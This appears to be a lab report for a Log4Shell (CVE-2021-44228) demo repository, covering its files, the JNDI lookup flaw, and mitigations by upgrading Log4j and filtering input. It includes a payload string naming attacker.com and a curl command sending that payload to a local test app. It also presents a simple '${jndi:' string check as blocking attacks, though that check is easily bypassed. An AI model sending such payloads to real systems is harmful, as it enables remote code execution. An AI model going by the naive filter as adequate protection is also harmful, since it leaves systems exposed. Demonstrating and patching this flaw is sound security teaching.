Log4Shell Demonstration: GitHub Repo + Exploit Report

1. GitHub Repository Contents

This repository demonstrates the Log4Shell vulnerability using a Spring Boot app and a mock LDAP server. It includes:

□ Files

- **`pom.xml`** – Declares dependencies, initially vulnerable with Log4j 2.14.1.
- **`LogController.java`** – A Spring REST controller that logs user input.
- **`Dockerfile`** – Multi-stage build for building and running the app.
- **`docker-compose.yml`** – Orchestrates the Java app and an OpenLDAP server.
- **`ldap_server.py`** – A Python script to simulate an LDAP callback.
- **`README.md`** – Provides setup, execution, and testing instructions.

□ Directory Layout

```
log4shell-demo/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── ldap_server.py
├── README.md
└── src/
    └── main/
        └── java/
            └── com/
                └── example/
                    └── LogController.java
```

---

2. Exploit Demonstration & Mitigation Report

□ Architecture Overview

```
+-------------------------+         +---------------------------+
| Spring Boot App         |         | LDAP Server (ldap_server.py) |
| Log4j 2.14.1            |  <----> | Listens on port 1389       |
| /log endpoint           |         | Receives JNDI callback     |
+-------------------------+         +---------------------------+
```

- The Java app exposes `/log` which logs any user-supplied input.
- If the input includes `${jndi:ldap://...}`, Log4j attempts to resolve it.

□ Exploit Explanation

CVE-2021-44228 (Log4Shell) allows an attacker to:

1. Send `${jndi:ldap://attacker.com/a}` to a vulnerable app.
2. The app logs this input.
3. Log4j performs a JNDI lookup and reaches out to the attacker's LDAP server.
4. Remote code execution becomes possible if deserialization is exploited.

Example Payload:

```
curl -X POST http://localhost:8080/log -d '${jndi:ldap://localhost:1389/a}'
```

□ Mitigation Strategy

1. **Upgrade Log4j**

```
<version>2.17.0</version>
```

2. **Input Filtering in LogController**

```
if (input.contains("${jndi:")) {
    return "Invalid input detected";
}
```

3. **Rebuild and Re-test**

```
docker-compose down
docker-compose up --build
```

Malicious inputs should now be blocked and not executed/logged.

□ Summary

- Demonstrated a basic Log4Shell attack.
- Captured the callback with a mock LDAP server.
- Upgraded the app and added input validation to mitigate the exploit.

This hands-on exercise reinforces the importance of:

- Staying up-to-date with dependencies
- Validating input
- Monitoring logs for abuse patterns